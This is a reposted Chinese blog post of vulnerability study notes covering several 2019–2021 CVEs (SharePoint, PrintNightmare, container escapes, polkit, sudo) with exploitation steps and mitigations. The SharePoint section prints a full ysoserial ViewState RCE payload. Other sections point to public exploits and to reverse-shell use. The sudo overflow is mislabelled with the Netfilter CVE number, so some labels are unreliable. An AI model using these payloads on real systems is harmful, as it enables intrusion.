所学漏洞总结
Posted 玛卡巴卡巴巴亚卡
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了所学漏洞总结相关的知识,希望对你有一定的参考价值。
一、CVE-2021-28474 MS SharePoint远程代码执行漏洞
1、漏洞简介
漏洞允许通过身份验证的用户在SharePoint web应用程序的服务账户中执行任意.NET代码。想要利用该漏洞,攻击者需要具备SharePoint站点的SPBasePermissions.ManageLists权限。默认情况下,经过身份验证的SharePoint用户可以创建网页页面,并拥有所需的所有权限。
2、漏洞成因
用于安全验证的代码和实际处理用户输入的代码之间不一致。
EditingPageParser.VerifyControlOnSafeList()提供验证,验证输入是否包含不安全控件,也就是验证web.config文件中SafeControl未将任何控件标记为安全。
EditingPageParser.ParseStringInternal()解析用户输入,寄存器中信息填充hashtable,服务器控件标记中的值填充hashtable2。根据web.config中的SafeControl验证hashtable2,如果有没有被标记为安全的控件,就会抛出异常。
SharePoint只验证服务器端控件带有runat=“server”属性的标记
验证通过SharePoint处理标记。
处理时,text4 = HttpUtility.htmlDecode(text4)属性值有解析器进行HTML解码,但验证时没有相应行。
加入我们runat=“s;server”,EditingPageParser.VerifyControlOnSafeList()函数不会将其视为服务器端控件,也不会检查它的安全性。但是,在处理时,它将被识别为服务器端控件并执行。
3、漏洞影响范围
Microsoft SharePoint Foundation 2013 Service Pack 1
Microsoft SharePoint Server 2019
Microsoft SharePoint Enterprise Server 2016
4、漏洞利用
普通用户创建站点
指向该站点任何站点页面的相对路径
使用自定义可执行文件向易受攻击的服务器发送请求以触发漏洞。需要提供网站地址、凭证和相对路径。
攻击成功会收到web.config的内容,在web.config中获取validationKey和validationAlg="HMACSHA256"
进入攻击目标的SharePoint,打开C:windows emp文件夹,此时文件夹不存在我们上传的文件。
在攻击者主机上打开success.aspx页面,源代码视图找到__VIEWSTATEGENERATOR
用ysoserial生成ViewState的paylolad,将其作为__VIEWSTATE参数发送到目标服务器
http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=%2FwEy2gcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAACsvYyBlY2hvIFJDRSA%2BIGM6L3dpbmRvd3MvdGVtcC9TUF9SQ0VfMDEudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUAAXgBAQEJCAAAAA0ADQAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBgsAAACSAVN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uU3RyaW5nXSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAAAIbXNjb3JsaWINAAYNAAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAAF4BwAAAAAAAAAAAAABAQEBAQABCA0ADQANAA0ADQAAAAAAAQoAAAAJAAAABhYAAAAHQ29tcGFyZQ0ABhgAAAANU3lzdGVtLlN0cmluZw0ADQAAAAAADQABEAAAAAgAAAAGGwAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJGAAAAAkWAAAAC5nTmz9vXHLF1C5DkWIPhsB4pP5YHhCaIK%2Bh79Fa4ZeW
再检查服务器C盘emp文件,就发现文件创建成功。
二、CVE-2021-22555 Linux Netfilter权限提升漏洞
1、漏洞简介
由于Linux Netfilter模块中memcpy()、memset()函数在使用过程中存在缺陷,通过堆越界写入,导致攻击者可以利用漏洞实现权限提升,如果在容器场景下,可以从docker、k8s容器中实施容器逃逸(目前poc已公开)。
Linux Netfilter是一个对数据包过滤、网络地址转换(NAT)和基于协议类型连接的管理框架。
2、漏洞分析
我们的漏洞在xt_compat_target_from_user()
中,其中memset()
被使用偏移量target->targetsize
调用,该偏移量在分配过程中没有被考虑进去,从而导致一些字节的越界写入。
memset(t->data + target->targetsize, 0, pad);
targetsize不受用户的控制,但可以通过名称选择不同结构大小的目标(如TCPMSS
、TTL
或NFQUEUE
)。targetsize越大,在偏移量上可变化的地方就越多。目标的大小必须不是8字节对齐的,这样才能满足pad > 0
的条件。可能性最大的结构是NFLOG
,通过该结构我们可以指定一个越界大小多达0x4c个字节的偏移量。
3、漏洞范围
Linux Kernel版本 >=2.6.19
4、漏洞利用
poc:
https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555
5、漏洞处置
非容器场景:
- 升级至安全版本
- 禁用非特权用户执行CLONE_NEWUSER、CLONE_NEWNET来进行缓解:echo 0 > /proc/sys/user/max_user_namespaces
容器场景:
- 升级安全内核版本
- 执行echo 0 > /proc/sys/user/max_user_namespaces 进行缓解
- 开启容器seccomp功能,规避容器逃逸风险(评估对业务的影响)
三、CVE-2021-34527 Windows PrintNightmare 漏洞
1、漏洞简介
windows打印服务中的漏洞,攻击者可以利用该漏洞使用低权限用户加载恶意DLL,实现远程代码执行。调用的RPC函数为RpcAsyncAddPrinterDriver,系统处理这个RPC函数后,再调用了YAddPrinterDriverEx函数,但是没有对dwFileCopyFlags进行条件判断,因此可以设置APD_INSTALL_)WRANED_DRIVER标志,使添加打印机驱动时,可以以高权限加载DLL。
2、漏洞分析
CVE-2021-34527是对CVE-2021-1675漏洞补丁的绕过。
使用了RpcAsyncAddPrinterDriver的打印机API对补丁权限进行绕过。这个API可以增加APD_INSTALL_WARNED_DRIVER,但没有校验过程,隐私可以绕过bitiest检查,实现恶意DLL加载和代码执行。
3、漏洞利用
4、漏洞范围
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
等...
5、安全建议
- 微软官方补丁
- 阿里云补丁
- 先使用Doamin Admin身份检测Print Spooler服务是否运行
-
Get-Service -Name Spooler
- 如果未被禁止,一可以使用如下来停止Print Spooler服务
-
Stop-Service -Name Spooler -Force
- 二也可以使用如下来配置流量策略,禁止流量进入
-
Set-Service -Name Spooler -StartupType Disabled
四、CVE-2021-1675 Windows Print Spooler远程代码执行漏洞
1、漏洞简介
在CVE-2021-1675的EXP中,调用的RPC函数为RpcAddPrinterDriverEx。系统处理这个RPC函数后,再调用了YAddPrinterDriverEx函数,但是没有对dwFileCopyFlags进行条件判断,因此可以设置APD_INSTALL_)WRANED_DRIVER标志,使添加打印机驱动时,可以以高权限加载DLL。
2、漏洞分析
调用YAddPrinterDriverEx函数时,没有对参数dwFileCopyFlag做校验,使APD_INSTALL_WARNED_DRIVER标志,使得后面对驱动的合法校验失败,使其可以任意加载DLL,并且为system权限。
3、漏洞利用
4、漏洞范围
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
等...
5、安全建议
1、及时更新Window补丁
2、在服务应用(services.msc)中禁用 Print Spooler服务。
五、CVE-2020-15257 Containerd控制docker逃逸漏洞
1、漏洞简介
containerd是容器运行时,可以作为linux和window的守护程序使用。
在-net=host(共享主机网络,不需要再做端口映射)参数启动时,与宿主机共享net namespace。容器中的攻击者可以绕过权限访问containerd控制的API导致权限提升
2、漏洞分析
3、漏洞利用
- root用户以共享主机网络的方式启动容器sudo docker run -itd –network=host ubuntu:latest /bin/bash
- 容器内执行
cat /proc/net/unix|grep -a "containerd-shim"
可看到抽象命名空间Unix域套接字. - 再通过CDK执行exp就可反弹shell,实现逃逸
https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
4、漏洞范围
containerd < 1.4.3
containerd < 1.3.9
五、CVE-2019-5736 RUNC远程代码执行漏洞
1、漏洞简介
RunC是在高级别容器运行时,用于生产和运行容器的工具。黑客使用受控制的镜像创建新容器,或进入具备写入权限的现有容器(docker exec)时可触发该漏洞。该漏洞允许恶意软件通过最少的用户交互覆盖主机操作系统上的RunC二进制文件,并以root权限执行任意代码,RunC、Apache Mesoso和LXC等开源容器管理系统均受其影响。
2、漏洞分析
在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
3、漏洞利用
下载CVE-2019-5736编译go脚本生成攻击payload。(https://github.com/Frichetten/CVE-2019-5736-PoC),将go脚本中的命令修改为反弹shell
4、漏洞范围
docker version <=18.09.2 RunC version <=1.0-rc6
六、CVE-2021-3560 Linux polkit提权漏洞
1、漏洞简介
Polkit授权是通过服务进程polkitd来完成的,当非特权进程需要访问特权进程服务时,特权进程会通过 system message dbus (非特权)向 polkitd (特权)请求权限认证。
Polkit 则会根据特权进程提供的信息和权限配置文件进行认证,认证完成后将认证结果返回给特权进程,特权进程会根据认证结果来决定是否给非特权进程提供服务。
而CVE-2021-3560漏洞时polkit服务上的身份验证绕过漏洞,允许非特权用户使用dbus调用特权方法,也就可以调用有账户服务提供的2个特权方法(CreatUser和SetPasswd),所以攻击者就可以调用这两个方法来创建一个超级用户。
2、漏洞分析
虚线伤非的两个进程是非特权用户进程,线下是特权进程,中间的dbus-deamon处理所有通信。其余四个进程通过发送D-Bus消息相互通信。通过dbus-send创建新用户的顺序:
- dbus-send要求account-deamon创建新用户
- account-deamon从dbus-send接收D-Bus消息。其中包含唯一连接名称,假设为1.96.这个名称被dbus-deamon添加到附加消息且不能伪造。
- account-deamon向polkit询问连接1.96是否被授权创建新用户
- polkit向dbus-deamon询问连接1.96的uid
- 如果连接:1.96 的 UID 为“0”,则 polkit 立即授权该请求。否则,它会向身份验证代理发送允许授权请求的管理员用户列表。
- Authentication Agent打开一个对话框以从用户那里获取密码。
- Authentication Agent将密码发送给 polkit。
- polkit 将“是”回复发送回accounts-daemon。
- accounts-daemon 创建新的用户帐户。
如果 polkit 向dbus-daemon请求总线,连接名称为1.96 的 UID,但总线:1.96 不再存在。dbus-daemon正确处理这种情况并返回错误。但事实上 polkit 没有正确处理该错误,它没有拒绝请求,而是将请求视为来自 UID 0 的进程。换句话说,它立即授权请求
3、漏洞利用
exp如下
https://github.com/hakivvi/CVE-2021-3560
漏洞复现如下:
https://blog.csdn.net/m0_56642842/article/details/118807718
https://blog.csdn.net/qq_43332010/article/details/118994686
4、漏洞范围
RHEL 8
Fedora 21及更高版本
Debian testing (“bullseye”)
Ubuntu 20.04
七、weblogic反序列化 CVE-2020-2555
1、漏洞简介
Oracle Fusion中间件Oracle Coherence存在缺陷,攻击者可利用该漏洞再未授权情况下通过构造T3协议请求,获取weblogic服务器权限,执行任意命令。
2、漏洞分析
3、漏洞利用
4、漏洞范围
Oracle Coherence 3.7.1.17
Oracle Coherence 12.1.3.0.0
Oracle Coherence 12.2.1.3.0
Oracle Coherence 12.2.1.4.0
八、CVE-2021-22555 sudo缓冲区溢出漏洞
1、漏洞简介
Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得root权限,并且是在默认配置下
2、漏洞分析
当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限
3、漏洞利用
https://blog.csdn.net/u011975363/article/details/117919184
https://www.cnblogs.com/yujin2020/p/14377503.html
4、漏洞范围
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影响的版本
Sudo =>1.9.5p2
以上是关于所学漏洞总结的主要内容,如果未能解决你的问题,请参考以下文章